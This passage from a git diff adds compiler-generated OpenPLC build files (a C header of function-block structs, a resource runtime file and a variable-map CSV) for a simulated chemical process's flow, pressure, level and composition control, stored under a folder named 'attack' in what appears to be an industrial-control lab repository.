IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; 